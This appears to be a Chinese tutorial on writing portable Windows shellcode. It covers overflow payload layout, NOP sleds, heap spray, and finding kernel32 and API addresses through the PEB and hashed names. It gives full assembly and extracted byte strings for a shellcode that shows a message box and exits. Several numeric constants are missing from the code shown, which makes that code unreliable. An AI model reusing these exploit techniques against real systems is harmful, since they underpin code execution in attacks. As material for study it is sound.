本节讲如果开发通用的 Shellcode。
Shellcode 的组织
shellcode 的组织对成功地 exploit 很重要。
送入缓冲区的数据包括:
. 填充物。一般用 0x90 (NOP) 填充于 shellcode 之前,这样只要跳转到填充区,就能执行 shellcode,为溢出提供了着床缓冲。 . 淹没返回地址的数据。可能是跳转指令地址、shellcode 起始地址,或者近似的 shellcode 地址。 . shellcode。
前些篇目中用过两种 shellcode 的组织方式,分别是将短小的 shellcode 直接放在 buffer 中和将 shellcode 放在返回地址之后。
第三种方式是,用跳转指令来定位 shellcode 时,将 shellcode 布置在返回地址之前,并在返回地址之后多淹没一些空间用作 shellcode head 以引导 eip 着陆。
将 shellcode 放在 buffer 中:
好处:合理利用缓冲区,使攻击串的体积最小(对于远程攻击,有时所有数据必须放在一个网络数据包内);不破坏前栈帧数据。 坏处:shellcode 可能被压栈的数据破坏。
将 shellcode 放在返回地址之后:
好处:不用担心 shellcode 被压栈的数据破坏。 坏处:破坏前栈帧结构。
提高栈顶保护 shellcode
将 shellcode 放在 buffer 中最大的坏处是:函数返回时,当前帧栈被弹出,虽然物理上 shellcode 暂时没被破坏,但逻辑上,存放 shellcode 的那个栈帧已经废弃了。如果 shellcode 中没有向栈中写数据,那情况还好;但如果 shellcode 用了 push 之类的指令在栈中暂存数据,压栈的数据可能会破坏 shellcode 本身。若 buffer 比较大,shellcode 中的 push 操作可能保会占用离栈顶较近的栈区,不会危及到 shellcode,但如果 buffer 比较小,情况就不乐观了。
为了保护 shellcode 使其具有较好的通用性,通常在 shellcode 一开始就抬高栈顶,使 shellcode 藏在栈帧中,不被 push 等操作破坏。
跳转指令
除了前些篇目中使用的 jmp esp,也可以使用其他跳转指令。
实际漏洞利用时,要好好观察寄存器的值,除了 esp 之外,eax、ebx、esi 等寄存器也会指向栈顶附近,跳转指令的选用要灵活些,move eax, esp 和 jmp eax 等指令序列也能完成进入栈帧的功能。
加大靶心
个别苛刻的漏洞不允许使用跳转指令,这时如果 buffer 足够大,可以在 shellcode 之前放置些 NOP,定位 shellcode 时,只要能跳进这些 NOP 中就能命中。这些用途着陆缓冲的 NOP 被形象地称作大靶心。
返回地址移位
在一些情况下,返回地址距离 buffer 的距离不是确定的(但能保证返回地址是双字 DWORD),这时也可以用加大靶心的思想——子弹扫射:用一片连续的跳转指令的地址(子弹)来覆盖返回地址,只要有一个子弹成功覆盖了返回地址就成功了。
返回地址错位
这是一种更加棘手的情况——例如由 strcat() 引起的漏洞:
strcat("程序安装目录", 输入的字符串)
在不同的系统环境下,输入的字符串可能不一样(可能是 app.exe 或者 app_.exe …),这里返回地址可能按字节错位而不是按双字(DWORD)错位,如果调试好的返回地址是 0xaabbccdd,则在其他机器上可能因为输入的字符串差奇数个字节,使返回地址变成 0xbbccddaa、0xccddaabb 或者 0xddaabbcc,溢出的成功率只有 25%,溢出的通用性大大降低!
Heap Spray
解决上述问题的一个方法是:使用按字节相同的双字跳转地址,甚至可以使用堆中的跳转地址并将 shellcode 用堆扩展的方法放置在相应区域。这种 heap spray 技术在 IE 漏洞中经常用到。
定位 Shellcode 原理
之前用到的 user32.dll 中的 MessageBoxA() 和 kernel32.dll 中的 ExitProcess() 的入口地址会因不同的 OS、不同的 patch 而不同,导致用静态地址调用 API 会使得 shellcode 的通用性受到很大的限制,实际使用中必须动态获得 API 地址。
Windows 的 API 是通过动态连接库中的导出函数来实现的:内存操作函数在 kernel32.dll 中实现,图形界面相关函数在 user32.dll 中实现……
Windows 下的 shellcode 最常用的动态寻址 API 的方法是:从进程控制块中找到动态连接库的导出表,搜索出所需 API 地址并调用。
所有 Win32 程序都会加载 kernel32.dll 和 ntdll.dll,在 Win32 中寻址 kernel32.dll 的 API 的步骤如下:
1. 通过 段选择字 FS 在内存中找到当前的线环境制快 TEB(Thread Environment Block)。
2. 线程环境块偏移 0x30 的地方存放着指向 进程环境块 PEB(Process Environment Block)的指针。
3. 进程环境块中偏移 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,PEB_LDR_DATA 存放着已经装载的 DLL 信息。
4. PEB_LDR_DATA 偏移 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
5. InInitializationOrderModuleList 存放着 PE 初始化时的模块信息,第一个链表结点是 ntdll.dll,第二个是 kernel32.dll。
6. 找到 kernel32.dll 后,偏移 0x08 的地方就是 kernel32.dll 在内存中的加载基址。
7. kernel32.dll 加载基址偏移 0x3C 的地方就是其 PE 头。
8. PE 头偏移 0x78 的地方存放指向函数导出表的指针。 函数导出表偏移 0x1C 处的指针指向存储导出函数偏移地址(RVA)的列表。
函数导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
函数的 RVA 地址和名字按照顺序放在上述两个列表中,可以根据名称的索引值查找对应的 RVA。
获得 RVA 后,加上前面找到的加载基址,就能找到 API 函数的入口虚拟地址。
找出需要的 API 函数入口地址的过程如下:
类似的,用这种方法可以定位 ws2_32.dll 中的 winsock 函数来编写能获得远程 shell 的利用型 shellcode。
利用 kernel32.dll 中的 LoadLibrary() 和 GetProcAddress() 可以方便的定位其他 API 函数。
定位 kernel32.dll 装载基址的代码如下:
xor edx, edx ; zero edx
mov ebx, fs:[edx + 0x30] ; ebx = addr of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list : kernelbase.dll on Win7 , kernel32.dll on Windows XP
mov ecx, [ecx] ; ecx = third entry in list : kernel32.dll on Win7
mov ebp, [ecx + 0x08] ; ebp = base addr of kernel32.dll
我在书中的代码中增加了如上所示的第 6 行,因为调试发现 Win7 中模块初始化链表所指的第二个节点是 kernelbase.dll,第三个节点才是 kernel32.dll
Shellcode 加载与调试
shellcode 的常见形式是用转义字符将机器码放在一个数组中,公开的 shellcode 也经常用这种方式。
可以使用如下的 C 语言代码来调试 shellcode:
char shellcode[] = "\x90x90..."; int main()
{
__asm
{
lea eax, shellcode
push eax
ret
}
return ;
}
API 函数名的哈希摘要(hash digest)
短小精悍是设计通用 shellcode 标准之一,为此,在 shellcode 中定位 API 不应该直接用 API 的函数名,否则空间很严重。不错的选择是用函数名的字符串 hash 摘要要(hash digest)。引入 hash 算法需要的代码空间不大,比直接使用函数名更划算。
接下来的实验中使用的 hash 算法如下:
#include <stdio.h>
#include <windows.h> DWORD GetHash(char *fun_name)
{
DWORD digest=;
//循环右移7位并累加字符串中的字符
for( ; *fun_name; digest=((digest<<)+(digest>>))+*(fun_name++) );
return digest;
} int main()
{
printf("hash of MessageBoxA: 0x%08x\n",GetHash("MessageBoxA"));
return ;
}
这位一来,只用存储 hash 算法函数 GetHash() 的代码和需要使用的 API 函数名的 digest(双字),而上述的 GetHash() 只需 ror 和 add 指令就可以实现。实际上,精心构造的 hash 算法只需一个字节(8bit) 就能存储 digest 值。
应用上面的算法得出的主要 API 的 hash 值如下:
MessageBoxA : 0x1E380A6A
ExitProcess : 0x4FD18963
LoadLibraryA : 0x0C917432
动态定位 API
下面实现动态定位 API 中的 LoadLibraryA()、ExitProcess()、和 MessageBoxA() 函数,并完成弹窗和安全退出程序的 shellcode。
第一步是将 API 函数名的 hash digest 压入栈中,注意压栈之前要将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 字符串处理方向发生变化而出错(如 LODSD 指令)。如果在堆溢出中发现原本稳定的 shellcode 运行时出错,很可能就是这个原因。
我用的环境是 Win7,调试中发现模块初始化链表中的第二个模块是 kernelbase.dll 而不是 kernel32.dll,所以在原书的代码中有修改,见第 51、52 行:
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 5.4 in book "Vulnerability Exploit and Analysis Technique" file name : shellcode_popup_general.c
author : failwest
date : 2006.10.20
description : can be run across OS platform and different patch version
the code used to generate PE file and extract binary code
Noticed :
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/ int main()
{
_asm{
nop
nop
nop
nop
nop CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start saving function address ; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx ; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernelbase.dll on Win7)
mov ecx, [ecx] ; ecx = third entry in list (kernel32.dll on Win7)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * ] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small) hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166 //push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop
}
return ;
}
OllyDbg 导入上述代码编译出的 EXE 文件,并导出 shellcode(170字节,Win7) 如下:
char popwnd_general[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"; int main()
{
_asm{
lea eax, popwnd_general
push eax
ret
}
return ;
}
修改了弹窗信息后的 163 字节 shellcode(Windows XP)
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
"\xFF\x57\xF8" // 163 bytes pop window shellcode (MessageBoxA)
2014.11.04 修改代码如下(XP / Win7 可用):
#include <stdio.h> int main()
{
LoadLibrary(_T("user32.dll"));
_asm{
nop
nop
nop
nop
nop CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start saving function address ; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx ; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = PEB
mov ecx, [ebx + 0x0c] ; ecx = PEB_LDR_DATA
mov ecx, [ecx + 0x0c] ; ecx = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[] (process)
mov ecx, [ecx] ; ecx = InLoadOrder[] (ntdll)
mov ecx, [ecx] ; ecx = InLoadOrder[] (kernel32)
mov ebp, [ecx + 0x18] ; ebp = [InLoadOrder[] + 0x18] = kernel32 DllBase find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * ] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small) hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx // cut string
push 0x78632024 // push "$ cx"
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop
}
return ;
}
shellcode 如下:
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7